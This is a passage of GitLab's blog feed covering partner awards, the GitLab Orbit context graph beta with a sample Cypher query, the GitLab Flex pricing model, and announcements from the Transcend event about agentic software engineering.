customer.</p><ul><li><strong><a href="http://sogeti.com" rel="">Capgemini | Sogeti</a></strong><br />Sogeti, part of Capgemini, makes technology simple and impactful through AI-driven solutions across quality engineering, data, and cloud. They turn ideas into action quickly, delivering measurable outcomes from day one.</li></ul><p><strong>Most Certified and Enabled Partner</strong> - Awarding the partner with the most GitLab-certified professionals on their team.</p><ul><li><strong><a href="https://www.devoteam.com/about-us/" rel="">Devoteam</a></strong><br />Devoteam is AI-driven tech consulting. For 30 years, Devoteam has been a trusted advisor, navigating businesses through the changing tech landscape. They are tech natives, passionate about guiding you toward a future powered by AI.</li></ul><p><strong>Rookie of the Year</strong> - Recognizing the newest partner who achieved early success and made significant impact.</p><ul><li><strong><a href="https://itdotcom.uz/" rel="">ITDOTCOM</a></strong><br />ITDOTCOM, LLC is a value-added IT distributor based in Uzbekistan, specializing in software development, infrastructure, cybersecurity, and business automation solutions. They help global technology vendors and local partners expand across Central Asia through technical expertise, business development, and local market support.</li></ul><p><strong>First Order Master</strong> - Celebrating the partner who excels at acquiring new customers and consistently wins new business.</p><ul><li><strong><a href="https://linuxpolska.com/" rel="">Linux Polska</a></strong><br />Linux Polska is a leading provider of open-source solutions and consulting services for enterprises, with a strong focus on DevOps, automation, containerization and data analytics. They empower businesses to innovate faster through cutting-edge technology expertise and their reliable engineering support.</li></ul><p><strong>Co-marketing Partner of The Year</strong> -  Recognizing the partner who demonstrated outstanding collaboration on joint marketing efforts to drive awareness and growth.</p><ul><li><strong><a href="https://www.conoa.se/" rel="">Conoa a PROACT Company</a></strong><br />Conoa is Sweden&#39;s leading specialist in Kubernetes, cloud native, and container technology — offering services from strategy and consulting to managed platform operations. As a Kubernetes Certified Service Provider (KCSP) and part of Proact since 2021, Conoa brings deep expertise across industries including highly regulated sectors.</li></ul>]]></content>
        <author>
            <name>Alex Picker</name>
            <uri>https://about.gitlab.com/blog/authors/alex-picker/</uri>
        </author>
        <published>2026-06-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Patch Release: 19.0.2, 18.11.5, 18.10.8]]></title>
        <id>https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-0-2-released/</id>
        <link href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-0-2-released/"/>
        <updated>2026-06-11T00:00:00.000Z</updated>
        <published>2026-06-11T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Introducing GitLab Orbit: Full code and lifecycle context, in one query]]></title>
        <id>https://about.gitlab.com/blog/introducing-gitlab-orbit/</id>
        <link href="https://about.gitlab.com/blog/introducing-gitlab-orbit/"/>
        <updated>2026-06-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Agents are good at writing code. They&#39;re far worse at navigating the system around it: the related code, the pipelines that run it, the deployments that ship it, the work items that asked for it, and the teams that own it. That gap is where AI-assisted engineering breaks down today.</p><p>In a large monorepo, the gap shows up as wasted iterations, blown token budgets, and code that looks correct but gets reverted. Across repos, it&#39;s worse: the context window fills before the agent finds the answer, and the task fails outright. Teams end up spending more time fixing agent output than the agent saved them.</p><p>GitLab Orbit, now in public beta, closes the gap. It&#39;s a live, queryable graph of all your code, merge requests, pipelines, deployments, vulnerabilities, and ownership, with every relationship between them kept current as your team works. Agents reason from first-party GitLab data instead of stitched-together tool calls. Engineers can query the same graph through the Data Explorer to trace changes, investigate incidents, and answer the cross-system questions that today take hours of manual reconstruction.</p><h2 id="proven-on-real-merge-requests-at-compare-the-market">Proven on real merge requests at Compare the Market</h2><p>Compare the Market, a U.K. price comparison platform, <a href="https://comparethemarketcareers.com/blog/comparing-context-retrieval-approaches-for-ai-code-review/" rel="">tested four context retrieval approaches</a> for an internal AI code reviewer across 79 real merge requests. The Orbit-grounded reviewer placed accurate inline comments about 70% of the time, against about 58% for retrieval-augmented generation (RAG), and captured more of the key changes in summaries (68% vs. 66%). RAG underperformed every other approach, including no context at all.</p><p><em>&quot;Orbit gave us an AI code reviewer that actually understands our codebase, not just the diff in front of it. We tested it against RAG and a few other approaches across real merge requests, and the gap was clear. Better comment placement, better summaries of what actually changed. RAG, which we&#39;d assumed would be the natural solution, ended up performing worse than no context at all. For us, that result spoke for itself.&quot;</em><br />
- Ryan Harvey, Head of AI Engineering, Compare the Market</p><h2 id="what-you-can-do-with-gitlab-orbit">What you can do with GitLab Orbit</h2><p>Here are two examples of how you can use GitLab Orbit in your environment.</p><p><strong>Scenario 1: With Claude Code or other coding agents</strong><br /><em>The work you already do, faster and more accurate</em></p><p>Say, you already run Claude Code. When you point it at a large monorepo, it spends its first stretch, and a real share of its token budget, just crawling files to work out where things live and what connects to what. In a big enough codebase it follows the wrong threads, misses a dependency, or runs out of room before it starts the actual work.</p><p>Connect Claude Code to GitLab Orbit through Model Context Protocol (<a href="https://about.gitlab.com/topics/ai/model-context-protocol/" rel="">MCP</a>) and it stops crawling. It asks the graph the questions it was trying to reconstruct by iterating where does this code live, what depends on it, which tests and pipelines cover it. Instead, it gets a precise answer in one or two queries. On the same tasks, with the same model, it’s up to 11 times faster, uses up to 4.5 times fewer tokens, and generates up to 45 times fewer hallucinations.</p><p><strong>Scenario 2: With GitLab Duo Agent Platform</strong><br /><em>Answers that were never possible before</em></p><p>Some questions were never really answerable by an agent, because the answer isn&#39;t in the code — it&#39;s in how code connects to pipelines, deployments, vulnerabilities, and ownership across your whole system. Agents on GitLab Duo Agent Platform query Orbit natively, so you can now ask them things that used to mean a manual investigation across four tools.</p><p><strong>Triage pipeline failures across the lifecycle.</strong> Today, an agent looking at a failing pipeline sees one job in isolation. With Orbit, it traces the failure to the change that introduced it, the projects where the same job is now drifting, and the merge requests still in flight that will encounter the same problem. To run discovery, Orbit issues graph queries like this one:</p><pre className="language-cypher shiki shiki-themes github-light" code="MATCH (job:CiJob {status: &quot;failed&quot;, name: $job_name})-[:RAN_IN]-&gt;(pipeline)-[:FOR]-&gt;(mr:MergeRequest)
RETURN mr.title, mr.author, pipeline.started_at, mr.project_id
ORDER BY pipeline.started_at DESC LIMIT 20
" language="cypher" meta="" style=""><code><span class="line" line="1"><span class="sD7c4">MATCH</span><span class="sgsFI"> (job:CiJob </span><span class="sD7c4">{</span><span class="sgsFI">status</span><span class="sD7c4">:</span><span class="sYBdl"> &quot;failed&quot;</span><span class="sD7c4">,</span><span class="sgsFI"> name</span><span class="sD7c4">:</span><span class="sgsFI"> $job_name</span><span class="sD7c4">}</span><span class="sgsFI">)</span><span class="sYu0t">-</span><span class="sD7c4">[:</span><span class="s7eDp">RAN_IN</span><span class="sD7c4">]</span><span class="sYu0t">-&gt;</span><span class="sgsFI">(pipeline)</span><span class="sYu0t">-</span><span class="sD7c4">[:</span><span class="s7eDp">FOR</span><span class="sD7c4">]</span><span class="sYu0t">-&gt;</span><span class="sgsFI">(mr:MergeRequest)
</span></span><span class="line" line="2"><span class="sD7c4">RETURN</span><span class="sgsFI"> mr.title, mr.author, pipeline.started_at, mr.project_id
</span></span><span class="line" line="3"><span class="sD7c4">ORDER BY</span><span class="sgsFI"> pipeline.started_at </span><span class="sD7c4">DESC</span><span class="sD7c4"> LIMIT</span><span class="sYu0t"> 20
</span></span></code></pre><p>One query, every in-flight MR that will hit the same failing job, across every project in your group. Your on-call team resolves the incident once instead of three teams resolving it three separate times.</p><p><strong>Map vulnerability blast radius in minutes.</strong> Finding the vulnerable code is the easy part. Mapping the exposure (which services include the component, which pipelines build them, which environments they run in, which teams own them) is what slows teams down. One Orbit query returns the full graph, owner-by-owner. Security ships a remediation plan in the hour a CVE lands, not the week after, with each affected component already assigned to its owner.</p><p><strong>Answer cross-system questions on demand.</strong> Cycle time by team, broken down by pipeline failure rate, joined to deployment frequency. One question, one answer, no dashboard request, no custom SQL. Engineering managers answer the question live in the executive review, not in a Slack follow-up three days later.</p><p><strong>Scope migrations against current dependencies.</strong> Planning a migration today means searching for a shared component and hoping the search catches the downstream dependencies. With Orbit, every dependent service, job, environment, and owner returns in a single result. Platform teams commit to a migration date and meet it, instead of discovering hidden dependents three weeks in.</p><p>The graph supports any workflow where your team needs to understand how the system connects: code review, incident response, release planning, security, migration planning.</p><h2 id="how-gitlab-orbit-works">How GitLab Orbit works</h2><p>Orbit ingests software development lifecycle data via change-data-capture into ClickHouse, parses code in 12 languages (Ruby, Java, Kotlin, Python, TypeScript, JavaScript, Rust, Go, C#, C, C++, PHP) through the Rails internal API, and serves the combined graph over a Cypher-like DSL, MCP, REST, and the GitLab CLI.</p><p>At GitLab&#39;s own scale, the indexer covers over 40,000 projects, 500 million nodes, and 2 billion edges in under 45 minutes. An event-driven engine picks up every change as it ships, so the graph stays current.</p><p>Indexing runs as a separate service; query traffic never hits your GitLab instance. Authorization mirrors GitLab permissions, so agents see exactly what their user can see in the UI. The query engine is built like a compiler: Every query goes through validation, planning, optimization, and security passes before it touches the database, so query speed doesn&#39;t degrade as your data grows.</p><p>There is no separate data infrastructure to stand up. Orbit builds on data GitLab already captures: issues, merge requests, pipelines, code, security findings, deployments, and incidents. You get value from day one with no new instrumentation.</p><p>Agents on GitLab Duo Agent Platform query the graph natively. External agents like Claude Code, Codex, and OpenCode connect through MCP and the GitLab CLI. Custom agents and internal tooling connect through REST. One graph, shared across your engineering organization.</p><iframe src="https://player.vimeo.com/video/1199521642?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Orbit GKG Team Demo_Section 2_060526_v4"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h2 id="engineers-query-the-same-graph">Engineers query the same graph</h2><p>The Data Explorer is the engineer-facing surface. Same graph, no agent in the way. Useful for the work that doesn&#39;t fit a fixed prompt: investigating an incident, tracing how a dependency spreads across services, figuring out why one area of the codebase keeps breaking CI. The answers come in seconds instead of hours of reconstruction across Git, CI, deploy tools, and dashboards.</p><p><img alt="GitLab Orbit Data Explorer" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1780996810/m9i3xengoidonz5vmvdf.png" title="GitLab Orbit Data Explorer" /></p><h2 id="try-orbit-now">Try Orbit now</h2><p>GitLab Orbit is currently available in public beta for GitLab.com Premium and Ultimate customers. You can sign up by heading to <a href="https://about.gitlab.com/gitlab-orbit/" rel="">about.gitlab.com/gitlab-orbit</a>.</p><style>html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Rebecca Carter</name>
            <uri>https://about.gitlab.com/blog/authors/rebecca-carter/</uri>
        </author>
        <published>2026-06-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Flex: Commit once, reshape your seats and AI spend]]></title>
        <id>https://about.gitlab.com/blog/introducing-gitlab-flex/</id>
        <link href="https://about.gitlab.com/blog/introducing-gitlab-flex/"/>
        <updated>2026-06-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The agentic era made your needs harder to predict, and the way you buy software hasn&#39;t caught up. Six months out, you don&#39;t know how many seats you&#39;ll need, how much AI your teams will consume, or which new capabilities you&#39;ll want to turn on. Yet the contract you sign today fixes all three up front and won&#39;t budge until renewal. GitLab Flex was built to solve this predicament. It&#39;s one annual commitment you can reshape month to month across seats, AI usage, and new capabilities, without re-procurement.</p><h2 id="fixed-contracts-moving-needs">Fixed contracts, moving needs</h2><p>The shift to agentic software engineering introduced uncertainty on three fronts at once:</p><ul><li><strong>How many seats.</strong> The agentic era is changing <em>who</em> builds. Some companies are adding people who never worked in GitLab before so they can build directly on the platform, and want to grow seats. Others are reshaping their org structure and contractor mix around agents, which can push seat needs up or down.  Your seat count six months out moves in both directions, and an annual contract locks you in with a single guess.</li><li><strong>How much AI usage.</strong> Agent usage grows on its own curve of use cases, enablement, and technology advancements.</li><li><strong>Which capabilities.</strong> New agentic infrastructure capabilities ship constantly. You can&#39;t know at signing which ones you&#39;ll want to adopt mid-year.</li></ul><p>A traditional contract asks you to lock all three in advance and live with the guess until renewal. Guess high and you overpay for idle seats and capacity you never use. Guess low and adopting anything new means re-opening procurement cycles that stall the team right when it has momentum. Either way, the contract is fixed while your needs keep moving.</p><h2 id="annual-budgets-adapted-monthly">Annual budgets adapted monthly</h2><p>GitLab Flex is one annual dollar commitment against a published rate card. From that single commitment you draw down platform seats, GitLab Credits, and eligible usage-based capabilities — across <a href="https://gitlab.com/" rel="">GitLab.com</a> multi-tenant SaaS, Self-Managed (including air-gapped), and GitLab Dedicated single-tenant SaaS. The point is that the commitment flexes on exactly the three things you can&#39;t predict.</p><p><strong>Adjust seats without waiting for renewal.</strong> When a team wraps a project and rolls off, you don&#39;t keep paying for idle seats until the contract comes up again. You can reallocate next month&#39;s reservations toward another team&#39;s seats, or toward AI usage inside the existing agreement.</p><p><strong>Scale AI usage with predictable economics.</strong> Consumption draws from your annual commitment at the published rate. Usage above the full commitment bills on-demand at $1 per credit, so a busy month doesn&#39;t turn into a surprise. Larger commitments unlock better unit pricing, and reserved capacity costs less than unplanned usage.</p><p><strong>Add new capabilities without new procurement.</strong> Eligible capabilities released after you sign land on the same rate card. When you want to turn one on, you draw it from the commitment you already have without the added steps of re-procurement.</p><p>If you&#39;ve used consumption pricing elsewhere — cloud credits, observability credits — the drawdown will feel familiar. Here&#39;s what&#39;s different: With Flex, your seats and your usage live under the <em>same</em> commitment, so you can move budget between them. Most models keep seat licenses and usage credits in separate buckets you can&#39;t rebalance without going back to the table.</p><p><img alt="Stacked bar chart showing 12 months of GitLab Flex reservations. Platform seats and GitLab Credits shift proportions month to month within a fixed annual commitment, with an unreserved buffer that varies by month." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781022595/kuqf8ym0mvtzgxtw5b2n.png" title="One annual commitment. Monthly reservations across seats and usage-based GitLab Credits. Reshape spend as needs shift. No amendment required." /></p><h2 id="one-agreement-any-mix">One agreement, any mix</h2><p>A single Flex agreement can combine any of the following, all drawing from the same annual commitment:</p><ul><li><strong>Platform seats.</strong> GitLab Premium and Ultimate at published rates, with volume discounts tied to your commitment level. (The Flex volume discount is the starting point for seat discounts, automatically applied based on total commitment size. Seat discounting can go above the Flex discount level with additional approvals.)</li><li><strong>GitLab Credits.</strong> Credit-metered capabilities like <a href="https://about.gitlab.com/solutions/duo-agent-platform/" rel="">GitLab Duo Agent Platform</a>, hosted runners, and artifact management, each at a published credit rate.</li><li><strong>Every deployment type.</strong> GitLab.com, Self-Managed, Dedicated, and air-gapped, all under one agreement — so your mix can shift over the term without restructuring.</li></ul><p><img alt="Image example of what a customer portal may look like with GitLab Flex reservations. Annual Commitment, Contract Term, and Monthly adjustment table shown to illustrate how the product will work. Actual layout and experience is subject to change." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781022596/m46sgmaaotugdobgbp0x.png" title="Adjust monthly reservations across seats and usage-based GitLab Credits. Reshape spend as needs shift. No amendment required. (The image above is illustrative of the product in a customer portal, actual layout and experience subject to change.)
" /></p><h2 id="volume-economics-with-spend-controls">Volume economics with spend controls</h2><ul><li>Larger annual commitments unlock better unit pricing across the rate card, and reserved capacity costs less than unplanned usage.</li><li>Subscription-level and per-user caps help your team stick to budgets along with admin controls at the project-group level.</li><li>Unreserved seats draw at the effective price, the same pre-negotiated rate as reserved seats.</li><li>Usage above the full Flex commitment bills at on-demand rates at $1 per credit or your negotiated per-seat price.</li><li>Cloud-connected customers are billed automatically; air-gapped customers are invoiced twice a year.</li></ul><h2 id="keep-your-current-plan-through-renewal">Keep your current plan through renewal</h2><p>GitLab Premium and GitLab Ultimate remain available at direct seat pricing. Flex is the recommended structure for new agreements, but existing customers can continue on their current contract through renewal. With Flex, tier capabilities do not change: GitLab Premium and Ultimate features remain.</p><p>If you are approaching renewal and want to evaluate Flex, your account team can model both options against your current capabilities and AI usage so you can compare before committing.</p><h2 id="start-with-a-model-built-for-what-comes-next">Start with a model built for what comes next</h2><p>The shift to agentic software engineering is not only a product shift. It is a budgeting and planning shift. GitLab Flex gives organizations one agreement for platform and AI spend, plus a clearer operating model for managing both and a structure built to keep pace as needs change.</p><p>Customers can request orders with GitLab Flex now, with fulfillment rolling out throughout the quarter.</p><p><a href="https://about.gitlab.com/sales/?contact-topic=pricing-quotes" rel="">Request GitLab Flex</a></p><p>To explore the full set of platform innovations announced at Transcend, including GitLab Orbit, Agentic Git, and AI Governance, visit <a href="https://about.gitlab.com/whats-new/" rel="">our What&#39;s New portal</a>.</p>]]></content>
        <author>
            <name>Talia Armato-Helle</name>
            <uri>https://about.gitlab.com/blog/authors/talia-armato-helle/</uri>
        </author>
        <published>2026-06-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab: Built for the agentic engineering era]]></title>
        <id>https://about.gitlab.com/blog/gitlab-transcend-announcements/</id>
        <link href="https://about.gitlab.com/blog/gitlab-transcend-announcements/"/>
        <updated>2026-06-10T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab Transcend, our customer event showcasing our roadmap, success stories, and industry research just wrapped. Here&#39;s what we announced and demonstrated:</p><ul><li><strong>Next-generation source code management</strong>, a Git engine rebuilt for agent-scale concurrency, now in <a href="https://about.gitlab.com/early-access-preview/" rel="">private beta</a></li><li><strong>GitLab Orbit</strong>, our context graph for the full software lifecycle, now in <a href="https://about.gitlab.com/gitlab-orbit/" rel="">public beta</a></li><li><strong>Agents for security and governance for agents</strong>, identity, policy, audit, and approval around every agent action, now in <a href="https://about.gitlab.com/early-access-preview/" rel="">private beta</a></li><li><strong>GitLab Duo Agent Platform</strong>, our orchestration system where agents pick up issues, review code, and fix pipelines without pulling developers out of flow, <a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-is-generally-available/" rel="">generally available</a> since January</li><li><strong>GitLab Flex</strong>, a buying model that bends to how AI adoption actually happens, <a href="https://about.gitlab.com/blog/introducing-gitlab-flex/" rel="">now accepting orders</a></li></ul><p>It&#39;s never been easier or faster to write code with agents, our research across more than 1,500 developers and tech leaders showed that 91% of organizations now run two or more AI coding tools, and 54% run three or more. Some of our customers&#39; codebases are growing up to five times in a single year. But unmanaged, that speed creates chaos.</p><blockquote><p>Catch up on all the action from Transcend with our <a href="https://about.gitlab.com/events/transcend/virtual/" rel="">on-demand webcast</a>.</p></blockquote><h2 id="agentic-coding-speed-with-chaos">Agentic coding — speed with chaos</h2><p>For most organizations, the answer to increasing the pace of innovation has been AI coding. But coding agents built on a fragmented software lifecycle isn&#39;t agentic engineering, it&#39;s a shortcut to inefficiency and risk.</p><p>We see it across our customers in recurring forms. Infrastructure built for human pace buckles under machine-scale concurrency in source code management. Agents have context around the code but not the full software development lifecycle (SDLC), so they stall out in large monorepos and give up across repos as the context window fills. Code, dependencies, and deployments change faster than teams can govern them. And fixed contracts force teams to guess at seats and credits a year ahead, in the era hardest to forecast.</p><p>The same research shows the strain: 73% worry about maintaining the code, and only 21% see productivity gains across the full SDLC.</p><p>None of this is a reason to slow down. It&#39;s a reason to build the agentic infrastructure that turns the speed of agentic coding into strong ROI.</p><h2 id="agentic-coding-gitlab-agentic-infrastructure-delivering-speed-with-control">Agentic coding + GitLab agentic infrastructure, delivering speed with control</h2><p>GitLab is already the platform where enterprises build and ship software. Source code management (SCM), CI/CD, governance, deployment, and more all live in one place, and our platform currently serves more than 50 million users and 100,000 organizations. We sit in the path of every software team and the agents that touch their code, pipelines, or production.</p><p>Think of the platform as a living system, with four parts that work together the same way whether a human or an agent is doing the work. The motor system handles execution at agent scale, the source control, pipelines, and deployments that get software built and shipped. The nervous system gives every agent and human the context to make good decisions. The immune system puts proactive governance and security around every action.</p><p>And the orchestration system coordinates the other three, letting teams and their agents plan and carry out work across the full lifecycle. Whether the brain doing the work is human or agentic, it draws on all four.</p><p><img alt="GitLab agentic infrastructure pie chart" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781031135/f83mpqikbfqklja5sxyr.png" /></p><p>At Transcend, we announced these innovations and a new buying program, and demonstrated how they come together with intelligent orchestration enabled by GitLab Duo Agent Platform.</p><h2 id="motor-system-next-gen-scm-rebuilt-for-concurrency">Motor system: Next-gen SCM rebuilt for concurrency</h2><p>SCM is the part of the platform worth focusing on here, because the Git backend buckles under agent load.</p><p>Git was built for a distributed workforce. We clone entire repositories to work on them, with branching and code merges scalable enough for hundreds of people around the globe to work in parallel. That model breaks when each team member runs hundreds of agents, resulting in:</p><ul><li><strong>Clone tax.</strong> Clone repo to read one file, for every agent and every retry.</li><li><strong>Concurrency collapse.</strong> Thousands of sessions hit a human-scale backend at once, producing bottlenecks and unpredictable availability.</li><li><strong>No isolation.</strong> Agents share accounts and one branch space, so they pollute the repo, leave no clean way to discard work, and no record of which agent did what.</li></ul><p>That&#39;s why we previewed the next-generation SCM, <a href="https://about.gitlab.com/early-access-preview/" rel="">in private beta</a>. It runs on the Git protocol for backward compatibility, with a redesigned backend and interfaces built for agents. So you can run agents on any repo, fan them out by the thousands, and let them experiment safely.</p><p>Our team has been working to validate the architectural direction: same Git compatibility and auditability, with a different motor underneath, designed for agentic access from the start.</p><p><img alt="Stats on next-gen SCM" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781031135/zejernmkqvlmetoy0o1g.png" /></p><p>Early internal results are promising: up to 2x fewer tokens, up to 50x faster wall clock time, and up to 1,000x less network traffic.</p><h2 id="nervous-system-gitlab-orbit-to-answer-the-toughest-questions-from-agents">Nervous system: GitLab Orbit to answer the toughest questions from agents</h2><p>Agents are adept at writing code and far less deft at navigating the system around it. They can see the code they&#39;re touching but not the full lifecycle, and that gap shows up as wasted work.</p><p>In a large monorepo, agents can burn too many iterations and too many tokens, and they take too long to get an answer. Across repos, they may fail outright as the context window fills and the agent gives up. The result is work that looks correct but gets reverted, and teams spending more time fixing agent output than the agent saved.</p><p>GitLab Orbit, <a href="/gitlab-orbit/">now in public beta</a>, is the context graph for the entire software lifecycle. It continuously maps code, work items, pipelines, deployments, and production signals into a single live graph, so agents reason from first-party context instead of fragmented signals. Engineers query the same graph through the Data Explorer to trace changes and investigate incidents, which means every decision draws from one source of truth.</p><p><img alt="GitLab Orbit stats" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781031136/thc1nny8wswjb1jtj1vb.png" /></p><p>In our early internal tests, agents grounded with Orbit had up to 11 times faster response, were up to 4.5 times more cost effective, and had up to 45 times fewer hallucinations.</p><p>Our customer, Compare the Market, A/B tested GitLab Orbit against a RAG-based approach and a no-context baseline using identical prompts and models, and found: Graph-grounded agents placed inline review comments in the correct location 70% of the time (0.696 accuracy), vs. 58% (0.577) for RAG. Compare the Market validated the approach on 79 real merge requests, where graph-based context outperformed conventional retrieval on comment placement accuracy.</p><p><strong><a href="https://about.gitlab.com/blog/introducing-gitlab-orbit/" rel="">Read more: Introducing GitLab Orbit: Full code and lifecycle context, in one query</a></strong></p><blockquote><p><strong>Build on Orbit at the Transcend hackathon</strong></p><p>Want to put Orbit to work yourself? From June 10-24, 2026, the Transcend hackathon invites the community to build with the lifecycle context graph. Contribute directly to the Orbit codebase, or build agents, flows, and skills on top of it and publish them to the AI Catalog.</p><p>Everyone is welcome, from experienced contributors to first-timers, and cash prizes are on the table. <a href="https://contributors.gitlab.com/transcend-hackathon" rel="">Learn more</a></p></blockquote><h2 id="immune-system-agents-for-security-and-governance-for-agents">Immune system: Agents for security and governance for agents</h2><p>In the agentic era, the security and compliance exposure every team manages keeps multiplying. The faster agents ship code, the faster they ship the vulnerabilities that come with it. The cycle compounds: the more code agents generate, the more coverage gaps you uncover; the more you scan, the more findings you have to triage and fix; and the more agents you run, the more you need to prove each one did the right thing, under the right policy, to stand behind your risk posture.</p><p>That cycle is why, building on <a href="https://about.gitlab.com/pricing/ultimate/" rel="">GitLab Ultimate</a>, we&#39;ve added agents for security and introduced governance for agents.</p><p>The agents for security work the exposure side: scanning, triaging, and resolving vulnerabilities as fast as agents create them, so the volume agents generate doesn&#39;t bury the teams responsible for securing it.</p><p>Governance for agents, <a href="https://about.gitlab.com/early-access-preview/" rel="">in private beta</a>, works the trust side. When agents push code, touch dependencies, and trigger deployments at scale, the question shifts from &quot;did we scan?&quot; to &quot;which agent did what, under which policy, and can we prove it?&quot;</p><p>Governance for agents puts identity, policy, audit, and approval around every agent action, with real-time visibility into inputs, reasoning, tool calls, and high-risk or anomalous activity across the organization. When something unexpected happens, the full execution context and audit trail are already there: what changed, which policy allowed it, and who signed off.</p><h2 id="orchestration-system-gitlab-duo-agent-platform">Orchestration system: GitLab Duo Agent Platform</h2><p>These capabilities above are infrastructure. <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> is the orchestration system that brings them together in the work developers do every day, and adoption has taken off: weekly active users have grown 10 times since we announced general availability in January.</p><p>The friction in software delivery was never the work itself, developers know how to write code, review it, and fix a pipeline. It&#39;s the context-switching, the waiting, and the handoffs between each of those steps, where time leaks out and focus breaks.</p><p>On GitLab Duo Agent Platform, agents work across that full loop: picking up a well-scoped issue and opening a merge request, reviewing it against the team&#39;s own rules rather than generic best practices, and resolving the review feedback that comes back.</p><p>The quality holds up against independent scrutiny. GitLab Duo Code Review placed in the top five of AI code review tools scored on the <a href="https://codereview.withmartian.com/?mode=offline" rel="">Martian Offline Benchmark</a>. And because these flows can run automatically on event triggers, a failing pipeline can be diagnosed and fixed without pulling multiple engineers out of flow, with the platform distinguishing a break that needs a code change from one that just needs a rerun.</p><h2 id="gitlab-flex-commit-once-reshape-your-seats-and-ai-spend">GitLab Flex: Commit once, reshape your seats and AI spend</h2><p>The agentic era made your needs harder to predict, and the way you buy software hasn&#39;t caught up. Six months out, you don&#39;t know how many seats you&#39;ll need, how much AI your teams will consume, or which new capabilities you&#39;ll want to turn on, yet a traditional contract fixes all three up front and won&#39;t budge until renewal. Guess high and you pay for idle seats; guess low and adopting anything new means re-opening procurement.</p><p><img alt="GitLab Flex chart" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1781031136/jyh28kvppe8igqze68vu.png" /></p><p>That&#39;s what GitLab Flex, <a href="https://about.gitlab.com/blog/introducing-gitlab-flex/" rel="">available now</a>, solves. It&#39;s one annual commitment you reshape month to month across seats, AI usage, and new capabilities, all drawing from the same agreement, with no amendment and no new procurement cycle. When a team rolls off a project, you reallocate next month&#39;s reservations toward another team or toward AI. When a capability ships after you sign, you turn it on from the commitment you already have. Seats and usage live under one commitment, so you can move budget between them as adoption shifts.  (For background on the usage-based foundation Flex builds on, see this introduction to <a href="https://about.gitlab.com/blog/introducing-gitlab-credits/" rel="">GitLab Credits</a>.)</p><p><strong>Read more: <a href="https://about.gitlab.com/blog/introducing-gitlab-flex/" rel="">GitLab Flex: Commit once, reshape your seats and AI spend</a></strong></p><h2 id="the-difference-between-coding-and-shipping">The difference between coding and shipping</h2><p>Agentic coding only gets you part of the way. The coding agent generates the change; GitLab&#39;s agentic infrastructure checks it against your full context, workflows, and guardrails and makes it safe to ship, at the speed agents work and the scale enterprises run.</p><h2 id="get-started-today">Get started today</h2><p>GitLab Orbit is available now in public beta: join <a href="/gitlab-orbit/">the beta program</a>. Next-generation SCM and governance for agents capabilities are in private beta, and you can <a href="https://about.gitlab.com/early-access-preview/" rel="">request early access here.</a> Agents for security are available now in <a href="https://about.gitlab.com/pricing/ultimate/" rel="">GitLab Ultimate</a>. Duo Agent Platform is <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">generally available</a>. Finally, GitLab Flex is accepting requests for orders now: To learn more, <a href="https://about.gitlab.com/pricing/" rel="">get in touch</a>.</p><p>Our mission is to unlock every team to ship trusted software at the speed of imagination, and we cannot wait to see what you build.</p>]]></content>
        <author>
            <name>Manav Khurana</name>
            <uri>https://about.gitlab.com/blog/authors/manav-khurana/</uri>
        </author>
        <published>2026-06-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab on Google Cloud: Fully managed, compliant, and AI-ready]]></title>
        <id>https://about.gitlab.com/blog/gitlab-expands-google-model-support/</id>
        <link href="https://about.gitlab.com/blog/gitlab-expands-google-model-support/"/>
        <updated>2026-06-10T00:00:00.000Z</updated>
